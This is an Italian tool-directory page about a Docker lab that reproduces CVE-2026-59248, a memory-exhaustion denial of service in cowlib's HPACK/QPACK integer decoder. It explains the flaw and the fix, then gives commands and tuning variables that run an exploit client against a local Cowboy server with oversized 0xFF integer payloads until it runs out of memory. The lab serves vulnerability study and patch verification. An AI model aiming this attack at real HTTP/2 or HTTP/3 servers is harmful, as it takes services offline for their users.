Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/darynongera/bug-free-broccoli
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSicurezza WebSicurezza di ReteApprendimento e FormazioneLab e Pratica
GitHub
Condividi
darynongera/bug-free-broccoli

bug-free-broccoli

Lab Docker riproducibile per CVE-2026-59248: una DoS da esaurimento di memoria nel decoder di interi HPACK/QPACK in cowlib, con client di exploit, server Cowboy e metriche Grafana.

Vedi Repository
123 giorni faNon ancora revisionato

Decoder di interi HPACK/QPACK di cowlib — DoS: laboratorio riproducibile con osservabilità

La CVE

Una vulnerabilità di limitazione delle risorse in ninenines cowlib (≥ 2.0.0, < 2.19.0) consente a un peer remoto non autenticato HTTP/2 o HTTP/3 di esaurire la memoria sul server (o client) vulnerabile e causare un denial of service.

Il decoder di interi con prefisso HPACK e QPACK cow_hpack_common:dec_big_int/3 (src/cow_hpack_common.hrl, invocato da cow_hpack:decode/2 e cow_qpack:decode_field_section/3) legge gli ottetti di continuazione finché non ne trova uno il cui bit più alto è a zero, valutando Int + (Value bsl M) a ogni passo con lo shift M che cresce di 7 per ottetto. Non esiste alcun limite sul numero di ottetti di continuazione, sulla larghezza di bit risultante o sul valore — il decoder consuma qualunque lunghezza codificata fornisca il peer. Poiché gli interi Erlang sono immutabili, ogni Value bsl M intermedio e ogni aggiornamento dell'accumulatore allocano un nuovo bignum la cui larghezza in cifre cresce linearmente con gli ottetti processati fino a quel momento; sommato sull'intera decodifica, l'allocazione transitoria è O(n²) nella lunghezza codificata.

Una singola rappresentazione indicizzata HPACK massimale trasportata in una coppia di frame HTTP/2 HEADERS + CONTINUATION — entro il max_frame_size_received predefinito di Cowboy — può forzare centinaia di megabyte di allocazione transitoria e di attività di garbage collection prima che l'indice risultante della tabella degli header venga rifiutato come non valido. Connessioni ripetute o concorrenti moltiplicano la pressione e possono portare la VM Erlang all'esaurimento della memoria.

Cowlib è il parser HTTP usato da Cowboy, dal plugin di gestione di RabbitMQ e da altri server e client HTTP/2 e HTTP/3 Erlang/Elixir, quindi qualsiasi endpoint esposto che accetta HPACK o QPACK da un peer non attendibile è raggiungibile.

Correzione: cowlib 2.19.0 aggiunge una guardia when M < 32 a dec_big_int/3, rifiutando gli interi sovradimensionati dopo una manciata di ottetti.

Questo laboratorio riproduce l'attacco (preface → SETTINGS → HEADERS → CONTINUATION con un intero HPACK sovradimensionato 0xFF…) contro un vero server Cowboy e cattura il picco di memoria del BEAM in Prometheus/Grafana — prima e dopo l'applicazione della patch.

Architettura

 exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
                                    │  /metrics  (same listener)
                                    ▼
                                prometheus (:9090) ──scrape 2s──▶ grafana (:3000)

Cowboy fissa una versione esatta di cowlib: cowboy 2.17.0 include la cowlib 2.18.0 vulnerabile (cowboy 2.18.0 include la cowlib 2.19.0 corretta). Questo lab forza cowlib con override: true in modo che la dimostrazione vuln→fix sia una modifica di una sola riga in server/mix.exs.

ServizioURL
Server Cowboyhttp://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c)
Server /metricshttp://localhost:8080/metrics
Prometheushttp://localhost:9090/targets
Grafanahttp://localhost:3000 (admin / admin)

La dashboard Grafana "cowlib 2.18.0 HPACK memory DoS" è provisionata automaticamente (nessuna configurazione manuale di data-source o pannelli).

Utilizzo

# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana

# 2. Sanity checks
curl http://localhost:8080/               # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total

# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
#    (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client

# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server                # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
#   Panel 1 "ERLANG VM: Process memory"  = BEAM process heaps only (the decoder)
#   Panel 2 "ERLANG VM: Total memory"    = system + processes allocator memory
#   Panel 3 "CONTAINER: cgroup memory"   = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.

# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server

# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.

# 5. Verify the fix: in server/mix.exs change
#        {:cowlib, "2.18.0", override: true}
#    to
#        {:cowlib, "2.19.0", override: true}
#    then rebuild and restart just the server (the memory line stays flat):
#    docker compose build cowboy-server && docker compose up -d cowboy-server
#    docker compose run --rm exploit-client

# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v

Porte: lo stack pubblica sull'host 8080 (Cowboy), 9090 (Prometheus), 3000 (Grafana). Assicurarsi che siano libere prima di iniziare e rieseguire il client di exploit con docker compose run --rm ogni volta — il servizio Compose viene eseguito una volta e termina.

Ottimizzazione dell'attacco (variabili d'ambiente sul client)

VariabilePredefinitoEffetto
PAYLOAD_CONTINUATIONS524288numero di ottetti 0xFF nell'intero HPACK (bomba da 512 KB; il max_fragmented_header_block_size del server consente fino a 1 MB).
NUM_CONCURRENT100connessioni asincrone concorrenti — ciascuna resta attiva in decodifica per ATTACK_KEEPALIVE_SECS. Aumentare a 200+ per mandare affidabilmente in OOM (superando 1g) il container del server.
SOCKET_TIMEOUT15secondi per ogni handshake di connessione
ATTACK_KEEPALIVE_SECS60per quanto tempo ogni connessione resta attiva dopo l'invio
SERVER_HOST / SERVER_PORTcowboy-server / 8080target
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py
Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Nessun dato di popolarità ancora.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →